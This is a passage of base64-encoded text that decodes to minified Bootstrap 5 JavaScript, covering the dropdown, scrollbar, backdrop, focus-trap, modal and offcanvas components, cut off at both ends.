GF5KSYmKEIuc2V0RGF0YUF0dHJpYnV0ZSh0aGlzLl9tZW51LCJwb3BwZXIiLCJzdGF0aWMiKSx0Lm1vZGlmaWVycz1be25hbWU6ImFwcGx5U3R5bGVzIixlbmFibGVkOiExfV0pLHsuLi50LC4uLiJmdW5jdGlvbiI9PXR5cGVvZiB0aGlzLl9jb25maWcucG9wcGVyQ29uZmlnP3RoaXMuX2NvbmZpZy5wb3BwZXJDb25maWcodCk6dGhpcy5fY29uZmlnLnBvcHBlckNvbmZpZ319X3NlbGVjdE1lbnVJdGVtKHtrZXk6dCx0YXJnZXQ6ZX0pe2NvbnN0IGk9US5maW5kKCIuZHJvcGRvd24tbWVudSAuZHJvcGRvd24taXRlbTpub3QoLmRpc2FibGVkKTpub3QoOmRpc2FibGVkKSIsdGhpcy5fbWVudSkuZmlsdGVyKCh0PT5hKHQpKSk7aS5sZW5ndGgmJmIoaSxlLHQ9PT1ZZSwhaS5pbmNsdWRlcyhlKSkuZm9jdXMoKX1zdGF0aWMgalF1ZXJ5SW50ZXJmYWNlKHQpe3JldHVybiB0aGlzLmVhY2goKGZ1bmN0aW9uKCl7Y29uc3QgZT1oaS5nZXRPckNyZWF0ZUluc3RhbmNlKHRoaXMsdCk7aWYoInN0cmluZyI9PXR5cGVvZiB0KXtpZih2b2lkIDA9PT1lW3RdKXRocm93IG5ldyBUeXBlRXJyb3IoYE5vIG1ldGhvZCBuYW1lZCAiJHt0fSJgKTtlW3RdKCl9fSkpfXN0YXRpYyBjbGVhck1lbnVzKHQpe2lmKDI9PT10LmJ1dHRvbnx8ImtleXVwIj09PXQudHlwZSYmIlRhYiIhPT10LmtleSlyZXR1cm47Y29uc3QgZT1RLmZpbmQodGkpO2Zvcihjb25zdCBpIG9mIGUpe2NvbnN0IGU9aGkuZ2V0SW5zdGFuY2UoaSk7aWYoIWV8fCExPT09ZS5fY29uZmlnLmF1dG9DbG9zZSljb250aW51ZTtjb25zdCBuPXQuY29tcG9zZWRQYXRoKCkscz1uLmluY2x1ZGVzKGUuX21lbnUpO2lmKG4uaW5jbHVkZXMoZS5fZWxlbWVudCl8fCJpbnNpZGUiPT09ZS5fY29uZmlnLmF1dG9DbG9zZSYmIXN8fCJvdXRzaWRlIj09PWUuX2NvbmZpZy5hdXRvQ2xvc2UmJnMpY29udGludWU7aWYoZS5fbWVudS5jb250YWlucyh0LnRhcmdldCkmJigia2V5dXAiPT09dC50eXBlJiYiVGFiIj09PXQua2V5fHwvaW5wdXR8c2VsZWN0fG9wdGlvbnx0ZXh0YXJlYXxmb3JtL2kudGVzdCh0LnRhcmdldC50YWdOYW1lKSkpY29udGludWU7Y29uc3Qgbz17cmVsYXRlZFRhcmdldDplLl9lbGVtZW50fTsiY2xpY2siPT09dC50eXBlJiYoby5jbGlja0V2ZW50PXQpLGUuX2NvbXBsZXRlSGlkZShvKX19c3RhdGljIGRhdGFBcGlLZXlkb3duSGFuZGxlcih0KXtjb25zdCBlPS9pbnB1dHx0ZXh0YXJlYS9pLnRlc3QodC50YXJnZXQudGFnTmFtZSksaT0iRXNjYXBlIj09PXQua2V5LG49W1hlLFllXS5pbmNsdWRlcyh0LmtleSk7aWYoIW4mJiFpKXJldHVybjtpZihlJiYhaSlyZXR1cm47dC5wcmV2ZW50RGVmYXVsdCgpO2NvbnN0IHM9dGhpcy5tYXRjaGVzKFplKT90aGlzOlEucHJldih0aGlzLFplKVswXXx8US5uZXh0KHRoaXMsWmUpWzBdfHxRLmZpbmRPbmUoWmUsdC5kZWxlZ2F0ZVRhcmdldC5wYXJlbnROb2RlKSxvPWhpLmdldE9yQ3JlYXRlSW5zdGFuY2Uocyk7aWYobilyZXR1cm4gdC5zdG9wUHJvcGFnYXRpb24oKSxvLnNob3coKSx2b2lkIG8uX3NlbGVjdE1lbnVJdGVtKHQpO28uX2lzU2hvd24oKSYmKHQuc3RvcFByb3BhZ2F0aW9uKCksby5oaWRlKCkscy5mb2N1cygpKX19UC5vbihkb2N1bWVudCxHZSxaZSxoaS5kYXRhQXBpS2V5ZG93bkhhbmRsZXIpLFAub24oZG9jdW1lbnQsR2UsZWksaGkuZGF0YUFwaUtleWRvd25IYW5kbGVyKSxQLm9uKGRvY3VtZW50LFVlLGhpLmNsZWFyTWVudXMpLFAub24oZG9jdW1lbnQsImtleXVwLmJzLmRyb3Bkb3duLmRhdGEtYXBpIixoaS5jbGVhck1lbnVzKSxQLm9uKGRvY3VtZW50LFVlLFplLChmdW5jdGlvbih0KXt0LnByZXZlbnREZWZhdWx0KCksaGkuZ2V0T3JDcmVhdGVJbnN0YW5jZSh0aGlzKS50b2dnbGUoKX0pKSxnKGhpKTtjb25zdCBkaT0iLmZpeGVkLXRvcCwgLmZpeGVkLWJvdHRvbSwgLmlzLWZpeGVkLCAuc3RpY2t5LXRvcCIsdWk9Ii5zdGlja3ktdG9wIixmaT0icGFkZGluZy1yaWdodCIscGk9Im1hcmdpbi1yaWdodCI7Y2xhc3MgZ2l7Y29uc3RydWN0b3IoKXt0aGlzLl9lbGVtZW50PWRvY3VtZW50LmJvZHl9Z2V0V2lkdGgoKXtjb25zdCB0PWRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aDtyZXR1cm4gTWF0aC5hYnMod2luZG93LmlubmVyV2lkdGgtdCl9aGlkZSgpe2NvbnN0IHQ9dGhpcy5nZXRXaWR0aCgpO3RoaXMuX2Rpc2FibGVPdmVyRmxvdygpLHRoaXMuX3NldEVsZW1lbnRBdHRyaWJ1dGVzKHRoaXMuX2VsZW1lbnQsZmksKGU9PmUrdCkpLHRoaXMuX3NldEVsZW1lbnRBdHRyaWJ1dGVzKGRpLGZpLChlPT5lK3QpKSx0aGlzLl9zZXRFbGVtZW50QXR0cmlidXRlcyh1aSxwaSwoZT0+ZS10KSl9cmVzZXQoKXt0aGlzLl9yZXNldEVsZW1lbnRBdHRyaWJ1dGVzKHRoaXMuX2VsZW1lbnQsIm92ZXJmbG93IiksdGhpcy5fcmVzZXRFbGVtZW50QXR0cmlidXRlcyh0aGlzLl9lbGVtZW50LGZpKSx0aGlzLl9yZXNldEVsZW1lbnRBdHRyaWJ1dGVzKGRpLGZpKSx0aGlzLl9yZXNldEVsZW1lbnRBdHRyaWJ1dGVzKHVpLHBpKX1pc092ZXJmbG93aW5nKCl7cmV0dXJuIHRoaXMuZ2V0V2lkdGgoKT4wfV9kaXNhYmxlT3ZlckZsb3coKXt0aGlzLl9zYXZlSW5pdGlhbEF0dHJpYnV0ZSh0aGlzLl9lbGVtZW50LCJvdmVyZmxvdyIpLHRoaXMuX2VsZW1lbnQuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9X3NldEVsZW1lbnRBdHRyaWJ1dGVzKHQsZSxpKXtjb25zdCBuPXRoaXMuZ2V0V2lkdGgoKTt0aGlzLl9hcHBseU1hbmlwdWxhdGlvbkNhbGxiYWNrKHQsKHQ9PntpZih0IT09dGhpcy5fZWxlbWVudCYmd2luZG93LmlubmVyV2lkdGg+dC5jbGllbnRXaWR0aCtuKXJldHVybjt0aGlzLl9zYXZlSW5pdGlhbEF0dHJpYnV0ZSh0LGUpO2NvbnN0IHM9d2luZG93LmdldENvbXB1dGVkU3R5bGUodCkuZ2V0UHJvcGVydHlWYWx1ZShlKTt0LnN0eWxlLnNldFByb3BlcnR5KGUsYCR7aShOdW1iZXIucGFyc2VGbG9hdChzKSl9cHhgKX0pKX1fc2F2ZUluaXRpYWxBdHRyaWJ1dGUodCxlKXtjb25zdCBpPXQuc3R5bGUuZ2V0UHJvcGVydHlWYWx1ZShlKTtpJiZCLnNldERhdGFBdHRyaWJ1dGUodCxlLGkpfV9yZXNldEVsZW1lbnRBdHRyaWJ1dGVzKHQsZSl7dGhpcy5fYXBwbHlNYW5pcHVsYXRpb25DYWxsYmFjayh0LCh0PT57Y29uc3QgaT1CLmdldERhdGFBdHRyaWJ1dGUodCxlKTtudWxsIT09aT8oQi5yZW1vdmVEYXRhQXR0cmlidXRlKHQsZSksdC5zdHlsZS5zZXRQcm9wZXJ0eShlLGkpKTp0LnN0eWxlLnJlbW92ZVByb3BlcnR5KGUpfSkpfV9hcHBseU1hbmlwdWxhdGlvbkNhbGxiYWNrKHQsZSl7aWYobyh0KSllKHQpO2Vsc2UgZm9yKGNvbnN0IGkgb2YgUS5maW5kKHQsdGhpcy5fZWxlbWVudCkpZShpKX19Y29uc3QgbWk9InNob3ciLF9pPSJtb3VzZWRvd24uYnMuYmFja2Ryb3AiLGJpPXtjbGFzc05hbWU6Im1vZGFsLWJhY2tkcm9wIixjbGlja0NhbGxiYWNrOm51bGwsaXNBbmltYXRlZDohMSxpc1Zpc2libGU6ITAscm9vdEVsZW1lbnQ6ImJvZHkifSx2aT17Y2xhc3NOYW1lOiJzdHJpbmciLGNsaWNrQ2FsbGJhY2s6IihmdW5jdGlvbnxudWxsKSIsaXNBbmltYXRlZDoiYm9vbGVhbiIsaXNWaXNpYmxlOiJib29sZWFuIixyb290RWxlbWVudDoiKGVsZW1lbnR8c3RyaW5nKSJ9O2NsYXNzIHlpIGV4dGVuZHMgRntjb25zdHJ1Y3Rvcih0KXtzdXBlcigpLHRoaXMuX2NvbmZpZz10aGlzLl9nZXRDb25maWcodCksdGhpcy5faXNBcHBlbmRlZD0hMSx0aGlzLl9lbGVtZW50PW51bGx9c3RhdGljIGdldCBEZWZhdWx0KCl7cmV0dXJuIGJpfXN0YXRpYyBnZXQgRGVmYXVsdFR5cGUoKXtyZXR1cm4gdml9c3RhdGljIGdldCBOQU1FKCl7cmV0dXJuImJhY2tkcm9wIn1zaG93KHQpe2lmKCF0aGlzLl9jb25maWcuaXNWaXNpYmxlKXJldHVybiB2b2lkIG0odCk7dGhpcy5fYXBwZW5kKCk7Y29uc3QgZT10aGlzLl9nZXRFbGVtZW50KCk7dGhpcy5fY29uZmlnLmlzQW5pbWF0ZWQmJmQoZSksZS5jbGFzc0xpc3QuYWRkKG1pKSx0aGlzLl9lbXVsYXRlQW5pbWF0aW9uKCgoKT0+e20odCl9KSl9aGlkZSh0KXt0aGlzLl9jb25maWcuaXNWaXNpYmxlPyh0aGlzLl9nZXRFbGVtZW50KCkuY2xhc3NMaXN0LnJlbW92ZShtaSksdGhpcy5fZW11bGF0ZUFuaW1hdGlvbigoKCk9Pnt0aGlzLmRpc3Bvc2UoKSxtKHQpfSkpKTptKHQpfWRpc3Bvc2UoKXt0aGlzLl9pc0FwcGVuZGVkJiYoUC5vZmYodGhpcy5fZWxlbWVudCxfaSksdGhpcy5fZWxlbWVudC5yZW1vdmUoKSx0aGlzLl9pc0FwcGVuZGVkPSExKX1fZ2V0RWxlbWVudCgpe2lmKCF0aGlzLl9lbGVtZW50KXtjb25zdCB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO3QuY2xhc3NOYW1lPXRoaXMuX2NvbmZpZy5jbGFzc05hbWUsdGhpcy5fY29uZmlnLmlzQW5pbWF0ZWQmJnQuY2xhc3NMaXN0LmFkZCgiZmFkZSIpLHRoaXMuX2VsZW1lbnQ9dH1yZXR1cm4gdGhpcy5fZWxlbWVudH1fY29uZmlnQWZ0ZXJNZXJnZSh0KXtyZXR1cm4gdC5yb290RWxlbWVudD1yKHQucm9vdEVsZW1lbnQpLHR9X2FwcGVuZCgpe2lmKHRoaXMuX2lzQXBwZW5kZWQpcmV0dXJuO2NvbnN0IHQ9dGhpcy5fZ2V0RWxlbWVudCgpO3RoaXMuX2NvbmZpZy5yb290RWxlbWVudC5hcHBlbmQodCksUC5vbih0LF9pLCgoKT0+e20odGhpcy5fY29uZmlnLmNsaWNrQ2FsbGJhY2spfSkpLHRoaXMuX2lzQXBwZW5kZWQ9ITB9X2VtdWxhdGVBbmltYXRpb24odCl7Xyh0LHRoaXMuX2dldEVsZW1lbnQoKSx0aGlzLl9jb25maWcuaXNBbmltYXRlZCl9fWNvbnN0IHdpPSIuYnMuZm9jdXN0cmFwIixBaT0iYmFja3dhcmQiLEVpPXthdXRvZm9jdXM6ITAsdHJhcEVsZW1lbnQ6bnVsbH0sVGk9e2F1dG9mb2N1czoiYm9vbGVhbiIsdHJhcEVsZW1lbnQ6ImVsZW1lbnQifTtjbGFzcyBDaSBleHRlbmRzIEZ7Y29uc3RydWN0b3IodCl7c3VwZXIoKSx0aGlzLl9jb25maWc9dGhpcy5fZ2V0Q29uZmlnKHQpLHRoaXMuX2lzQWN0aXZlPSExLHRoaXMuX2xhc3RUYWJOYXZEaXJlY3Rpb249bnVsbH1zdGF0aWMgZ2V0IERlZmF1bHQoKXtyZXR1cm4gRWl9c3RhdGljIGdldCBEZWZhdWx0VHlwZSgpe3JldHVybiBUaX1zdGF0aWMgZ2V0IE5BTUUoKXtyZXR1cm4iZm9jdXN0cmFwIn1hY3RpdmF0ZSgpe3RoaXMuX2lzQWN0aXZlfHwodGhpcy5fY29uZmlnLmF1dG9mb2N1cyYmdGhpcy5fY29uZmlnLnRyYXBFbGVtZW50LmZvY3VzKCksUC5vZmYoZG9jdW1lbnQsd2kpLFAub24oZG9jdW1lbnQsImZvY3VzaW4uYnMuZm9jdXN0cmFwIiwodD0+dGhpcy5faGFuZGxlRm9jdXNpbih0KSkpLFAub24oZG9jdW1lbnQsImtleWRvd24udGFiLmJzLmZvY3VzdHJhcCIsKHQ9PnRoaXMuX2hhbmRsZUtleWRvd24odCkpKSx0aGlzLl9pc0FjdGl2ZT0hMCl9ZGVhY3RpdmF0ZSgpe3RoaXMuX2lzQWN0aXZlJiYodGhpcy5faXNBY3RpdmU9ITEsUC5vZmYoZG9jdW1lbnQsd2kpKX1faGFuZGxlRm9jdXNpbih0KXtjb25zdHt0cmFwRWxlbWVudDplfT10aGlzLl9jb25maWc7aWYodC50YXJnZXQ9PT1kb2N1bWVudHx8dC50YXJnZXQ9PT1lfHxlLmNvbnRhaW5zKHQudGFyZ2V0KSlyZXR1cm47Y29uc3QgaT1RLmZvY3VzYWJsZUNoaWxkcmVuKGUpOzA9PT1pLmxlbmd0aD9lLmZvY3VzKCk6dGhpcy5fbGFzdFRhYk5hdkRpcmVjdGlvbj09PUFpP2lbaS5sZW5ndGgtMV0uZm9jdXMoKTppWzBdLmZvY3VzKCl9X2hhbmRsZUtleWRvd24odCl7IlRhYiI9PT10LmtleSYmKHRoaXMuX2xhc3RUYWJOYXZEaXJlY3Rpb249dC5zaGlmdEtleT9BaToiZm9yd2FyZCIpfX1jb25zdCBPaT0iaGlkZGVuLmJzLm1vZGFsIix4aT0ic2hvdy5icy5tb2RhbCIsa2k9Im1vZGFsLW9wZW4iLExpPSJzaG93IixEaT0ibW9kYWwtc3RhdGljIixTaT17YmFja2Ryb3A6ITAsZm9jdXM6ITAsa2V5Ym9hcmQ6ITB9LElpPXtiYWNrZHJvcDoiKGJvb2xlYW58c3RyaW5nKSIsZm9jdXM6ImJvb2xlYW4iLGtleWJvYXJkOiJib29sZWFuIn07Y2xhc3MgTmkgZXh0ZW5kcyB6e2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCxlKSx0aGlzLl9kaWFsb2c9US5maW5kT25lKCIubW9kYWwtZGlhbG9nIix0aGlzLl9lbGVtZW50KSx0aGlzLl9iYWNrZHJvcD10aGlzLl9pbml0aWFsaXplQmFja0Ryb3AoKSx0aGlzLl9mb2N1c3RyYXA9dGhpcy5faW5pdGlhbGl6ZUZvY3VzVHJhcCgpLHRoaXMuX2lzU2hvd249ITEsdGhpcy5faXNUcmFuc2l0aW9uaW5nPSExLHRoaXMuX3Njcm9sbEJhcj1uZXcgZ2ksdGhpcy5fYWRkRXZlbnRMaXN0ZW5lcnMoKX1zdGF0aWMgZ2V0IERlZmF1bHQoKXtyZXR1cm4gU2l9c3RhdGljIGdldCBEZWZhdWx0VHlwZSgpe3JldHVybiBJaX1zdGF0aWMgZ2V0IE5BTUUoKXtyZXR1cm4ibW9kYWwifXRvZ2dsZSh0KXtyZXR1cm4gdGhpcy5faXNTaG93bj90aGlzLmhpZGUoKTp0aGlzLnNob3codCl9c2hvdyh0KXt0aGlzLl9pc1Nob3dufHx0aGlzLl9pc1RyYW5zaXRpb25pbmd8fFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LHhpLHtyZWxhdGVkVGFyZ2V0OnR9KS5kZWZhdWx0UHJldmVudGVkfHwodGhpcy5faXNTaG93bj0hMCx0aGlzLl9pc1RyYW5zaXRpb25pbmc9ITAsdGhpcy5fc2Nyb2xsQmFyLmhpZGUoKSxkb2N1bWVudC5ib2R5LmNsYXNzTGlzdC5hZGQoa2kpLHRoaXMuX2FkanVzdERpYWxvZygpLHRoaXMuX2JhY2tkcm9wLnNob3coKCgpPT50aGlzLl9zaG93RWxlbWVudCh0KSkpKX1oaWRlKCl7dGhpcy5faXNTaG93biYmIXRoaXMuX2lzVHJhbnNpdGlvbmluZyYmKFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LCJoaWRlLmJzLm1vZGFsIikuZGVmYXVsdFByZXZlbnRlZHx8KHRoaXMuX2lzU2hvd249ITEsdGhpcy5faXNUcmFuc2l0aW9uaW5nPSEwLHRoaXMuX2ZvY3VzdHJhcC5kZWFjdGl2YXRlKCksdGhpcy5fZWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKExpKSx0aGlzLl9xdWV1ZUNhbGxiYWNrKCgoKT0+dGhpcy5faGlkZU1vZGFsKCkpLHRoaXMuX2VsZW1lbnQsdGhpcy5faXNBbmltYXRlZCgpKSkpfWRpc3Bvc2UoKXtmb3IoY29uc3QgdCBvZlt3aW5kb3csdGhpcy5fZGlhbG9nXSlQLm9mZih0LCIuYnMubW9kYWwiKTt0aGlzLl9iYWNrZHJvcC5kaXNwb3NlKCksdGhpcy5fZm9jdXN0cmFwLmRlYWN0aXZhdGUoKSxzdXBlci5kaXNwb3NlKCl9aGFuZGxlVXBkYXRlKCl7dGhpcy5fYWRqdXN0RGlhbG9nKCl9X2luaXRpYWxpemVCYWNrRHJvcCgpe3JldHVybiBuZXcgeWkoe2lzVmlzaWJsZTpCb29sZWFuKHRoaXMuX2NvbmZpZy5iYWNrZHJvcCksaXNBbmltYXRlZDp0aGlzLl9pc0FuaW1hdGVkKCl9KX1faW5pdGlhbGl6ZUZvY3VzVHJhcCgpe3JldHVybiBuZXcgQ2koe3RyYXBFbGVtZW50OnRoaXMuX2VsZW1lbnR9KX1fc2hvd0VsZW1lbnQodCl7ZG9jdW1lbnQuYm9keS5jb250YWlucyh0aGlzLl9lbGVtZW50KXx8ZG9jdW1lbnQuYm9keS5hcHBlbmQodGhpcy5fZWxlbWVudCksdGhpcy5fZWxlbWVudC5zdHlsZS5kaXNwbGF5PSJibG9jayIsdGhpcy5fZWxlbWVudC5yZW1vdmVBdHRyaWJ1dGUoImFyaWEtaGlkZGVuIiksdGhpcy5fZWxlbWVudC5zZXRBdHRyaWJ1dGUoImFyaWEtbW9kYWwiLCEwKSx0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgicm9sZSIsImRpYWxvZyIpLHRoaXMuX2VsZW1lbnQuc2Nyb2xsVG9wPTA7Y29uc3QgZT1RLmZpbmRPbmUoIi5tb2RhbC1ib2R5Iix0aGlzLl9kaWFsb2cpO2UmJihlLnNjcm9sbFRvcD0wKSxkKHRoaXMuX2VsZW1lbnQpLHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmFkZChMaSksdGhpcy5fcXVldWVDYWxsYmFjaygoKCk9Pnt0aGlzLl9jb25maWcuZm9jdXMmJnRoaXMuX2ZvY3VzdHJhcC5hY3RpdmF0ZSgpLHRoaXMuX2lzVHJhbnNpdGlvbmluZz0hMSxQLnRyaWdnZXIodGhpcy5fZWxlbWVudCwic2hvd24uYnMubW9kYWwiLHtyZWxhdGVkVGFyZ2V0OnR9KX0pLHRoaXMuX2RpYWxvZyx0aGlzLl9pc0FuaW1hdGVkKCkpfV9hZGRFdmVudExpc3RlbmVycygpe1Aub24odGhpcy5fZWxlbWVudCwia2V5ZG93bi5kaXNtaXNzLmJzLm1vZGFsIiwodD0+e2lmKCJFc2NhcGUiPT09dC5rZXkpcmV0dXJuIHRoaXMuX2NvbmZpZy5rZXlib2FyZD8odC5wcmV2ZW50RGVmYXVsdCgpLHZvaWQgdGhpcy5oaWRlKCkpOnZvaWQgdGhpcy5fdHJpZ2dlckJhY2tkcm9wVHJhbnNpdGlvbigpfSkpLFAub24od2luZG93LCJyZXNpemUuYnMubW9kYWwiLCgoKT0+e3RoaXMuX2lzU2hvd24mJiF0aGlzLl9pc1RyYW5zaXRpb25pbmcmJnRoaXMuX2FkanVzdERpYWxvZygpfSkpLFAub24odGhpcy5fZWxlbWVudCwibW91c2Vkb3duLmRpc21pc3MuYnMubW9kYWwiLCh0PT57UC5vbmUodGhpcy5fZWxlbWVudCwiY2xpY2suZGlzbWlzcy5icy5tb2RhbCIsKGU9Pnt0aGlzLl9lbGVtZW50PT09dC50YXJnZXQmJnRoaXMuX2VsZW1lbnQ9PT1lLnRhcmdldCYmKCJzdGF0aWMiIT09dGhpcy5fY29uZmlnLmJhY2tkcm9wP3RoaXMuX2NvbmZpZy5iYWNrZHJvcCYmdGhpcy5oaWRlKCk6dGhpcy5fdHJpZ2dlckJhY2tkcm9wVHJhbnNpdGlvbigpKX0pKX0pKX1faGlkZU1vZGFsKCl7dGhpcy5fZWxlbWVudC5zdHlsZS5kaXNwbGF5PSJub25lIix0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgiYXJpYS1oaWRkZW4iLCEwKSx0aGlzLl9lbGVtZW50LnJlbW92ZUF0dHJpYnV0ZSgiYXJpYS1tb2RhbCIpLHRoaXMuX2VsZW1lbnQucmVtb3ZlQXR0cmlidXRlKCJyb2xlIiksdGhpcy5faXNUcmFuc2l0aW9uaW5nPSExLHRoaXMuX2JhY2tkcm9wLmhpZGUoKCgpPT57ZG9jdW1lbnQuYm9keS5jbGFzc0xpc3QucmVtb3ZlKGtpKSx0aGlzLl9yZXNldEFkanVzdG1lbnRzKCksdGhpcy5fc2Nyb2xsQmFyLnJlc2V0KCksUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsT2kpfSkpfV9pc0FuaW1hdGVkKCl7cmV0dXJuIHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmNvbnRhaW5zKCJmYWRlIil9X3RyaWdnZXJCYWNrZHJvcFRyYW5zaXRpb24oKXtpZihQLnRyaWdnZXIodGhpcy5fZWxlbWVudCwiaGlkZVByZXZlbnRlZC5icy5tb2RhbCIpLmRlZmF1bHRQcmV2ZW50ZWQpcmV0dXJuO2NvbnN0IHQ9dGhpcy5fZWxlbWVudC5zY3JvbGxIZWlnaHQ+ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodCxlPXRoaXMuX2VsZW1lbnQuc3R5bGUub3ZlcmZsb3dZOyJoaWRkZW4iPT09ZXx8dGhpcy5fZWxlbWVudC5jbGFzc0xpc3QuY29udGFpbnMoRGkpfHwodHx8KHRoaXMuX2VsZW1lbnQuc3R5bGUub3ZlcmZsb3dZPSJoaWRkZW4iKSx0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5hZGQoRGkpLHRoaXMuX3F1ZXVlQ2FsbGJhY2soKCgpPT57dGhpcy5fZWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKERpKSx0aGlzLl9xdWV1ZUNhbGxiYWNrKCgoKT0+e3RoaXMuX2VsZW1lbnQuc3R5bGUub3ZlcmZsb3dZPWV9KSx0aGlzLl9kaWFsb2cpfSksdGhpcy5fZGlhbG9nKSx0aGlzLl9lbGVtZW50LmZvY3VzKCkpfV9hZGp1c3REaWFsb2coKXtjb25zdCB0PXRoaXMuX2VsZW1lbnQuc2Nyb2xsSGVpZ2h0PmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQsZT10aGlzLl9zY3JvbGxCYXIuZ2V0V2lkdGgoKSxpPWU+MDtpZihpJiYhdCl7Y29uc3QgdD1wKCk/InBhZGRpbmdMZWZ0IjoicGFkZGluZ1JpZ2h0Ijt0aGlzLl9lbGVtZW50LnN0eWxlW3RdPWAke2V9cHhgfWlmKCFpJiZ0KXtjb25zdCB0PXAoKT8icGFkZGluZ1JpZ2h0IjoicGFkZGluZ0xlZnQiO3RoaXMuX2VsZW1lbnQuc3R5bGVbdF09YCR7ZX1weGB9fV9yZXNldEFkanVzdG1lbnRzKCl7dGhpcy5fZWxlbWVudC5zdHlsZS5wYWRkaW5nTGVmdD0iIix0aGlzLl9lbGVtZW50LnN0eWxlLnBhZGRpbmdSaWdodD0iIn1zdGF0aWMgalF1ZXJ5SW50ZXJmYWNlKHQsZSl7cmV0dXJuIHRoaXMuZWFjaCgoZnVuY3Rpb24oKXtjb25zdCBpPU5pLmdldE9yQ3JlYXRlSW5zdGFuY2UodGhpcyx0KTtpZigic3RyaW5nIj09dHlwZW9mIHQpe2lmKHZvaWQgMD09PWlbdF0pdGhyb3cgbmV3IFR5cGVFcnJvcihgTm8gbWV0aG9kIG5hbWVkICIke3R9ImApO2lbdF0oZSl9fSkpfX1QLm9uKGRvY3VtZW50LCJjbGljay5icy5tb2RhbC5kYXRhLWFwaSIsJ1tkYXRhLWJzLXRvZ2dsZT0ibW9kYWwiXScsKGZ1bmN0aW9uKHQpe2NvbnN0IGU9bih0aGlzKTtbIkEiLCJBUkVBIl0uaW5jbHVkZXModGhpcy50YWdOYW1lKSYmdC5wcmV2ZW50RGVmYXVsdCgpLFAub25lKGUseGksKHQ9Pnt0LmRlZmF1bHRQcmV2ZW50ZWR8fFAub25lKGUsT2ksKCgpPT57YSh0aGlzKSYmdGhpcy5mb2N1cygpfSkpfSkpO2NvbnN0IGk9US5maW5kT25lKCIubW9kYWwuc2hvdyIpO2kmJk5pLmdldEluc3RhbmNlKGkpLmhpZGUoKSxOaS5nZXRPckNyZWF0ZUluc3RhbmNlKGUpLnRvZ2dsZSh0aGlzKX0pKSxxKE5pKSxnKE5pKTtjb25zdCBQaT0ic2hvdyIsamk9InNob3dpbmciLE1pPSJoaWRpbmciLEhpPSIub2ZmY2FudmFzLnNob3ciLCRpPSJoaWRlUHJldmVudGVkLmJzLm9mZmNhbnZhcyIsV2k9ImhpZGRlbi5icy5vZmZjYW52YXMiLEJpPXtiYWNrZHJvcDohMCxrZXlib2FyZDohMCxzY3JvbGw6ITF9LEZpPXtiYWNrZHJvcDoiKGJvb2xlYW58c3RyaW5nKSIsa2V5Ym9hcmQ6ImJvb2xlYW4iLHNjcm9sbDoiYm9vbGVhbiJ9O2NsYXNzIHppIGV4dGVuZHMgentjb25zdHJ1Y3Rvcih0LGUpe3N1cGVyKHQsZSksdGhpcy5faXNTaG93bj0hMSx0aGlzLl9iYWNrZHJvcD10aGlzLl9pbml0aWFsaXplQmFja0Ryb3AoKSx0aGlzLl9mb2N1c3RyYXA9dGhpcy5faW5pdGlhbGl6ZUZvY3VzVHJhcCgpLHRoaXMuX2FkZEV2ZW50TGlzdGVuZXJzKCl9c3RhdGljIGdldCBEZWZhdWx0KCl7cmV0dXJuIEJpfXN0YXRpYyBnZXQgRGVmYXVsdFR5cGUoKXtyZXR1cm4gRml9c3RhdGljIGdldCBOQU1FKCl7cmV0dXJuIm9mZmNhbnZhcyJ9dG9nZ2xlKHQpe3JldHVybiB0aGlzLl9pc1Nob3duP3RoaXMuaGlkZSgpOnRoaXMuc2hvdyh0KX1zaG93KHQpe3RoaXMuX2lzU2hvd258fFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LCJzaG93LmJzLm9mZmNhbnZhcyIse3JlbGF0ZWRUYXJnZXQ6dH0pLmRlZmF1bHRQcmV2ZW50ZWR8fCh0aGlzLl9pc1Nob3duPSEwLHRoaXMuX2JhY2tkcm9wLnNob3coKSx0aGlzLl9jb25maWcuc2Nyb2xsfHwobmV3IGdpKS5oaWRlKCksdGhpcy5fZWxlbWVudC5zZXRBdHRyaWJ1dGUoImFyaWEtbW9kYWwiLCEwKSx0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgicm9sZSIsImRpYWxvZyIpLHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmFkZChqaSksdGhpcy5fcXVldWVDYWxsYmFjaygoKCk9Pnt0aGlzLl9jb25maWcuc2Nyb2xsJiYhdGhpcy5fY29uZmlnLmJhY2tkcm9wfHx0aGlzLl9mb2N1c3RyYXAuYWN0aXZhdGUoKSx0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5hZGQoUGkpLHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZShqaSksUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsInNob3duLmJzLm9mZmNhbnZhcyIse3JlbGF0ZWRUYXJnZXQ6dH0pfSksdGhpcy5fZWxlbWVudCwhMCkpfWhpZGUoKXt0aGlzLl9pc1Nob3duJiYoUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsImhpZGUuYnMub2ZmY2FudmFzIikuZGVmYXVsdFByZXZlbnRlZHx8KHRoaXMuX2ZvY3VzdHJhcC5kZWFjdGl2YXRlKCksdGhpcy5fZWxlbWVudC5ibHVyKCksdGhpcy5faXNTaG93bj0hMSx0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5hZGQoTWkpLHRoaXMuX2JhY2tkcm9wLmhpZGUoKSx0aGlzLl9xdWV1ZUNhbGxiYWNrKCgoKT0+e3RoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZShQaSxNaSksdGhpcy5fZWxlbWVudC5yZW1vdmVBdHRyaWJ1dGUoImFyaWEtbW9kYWwiKSx0aGlzLl9lbGVtZW50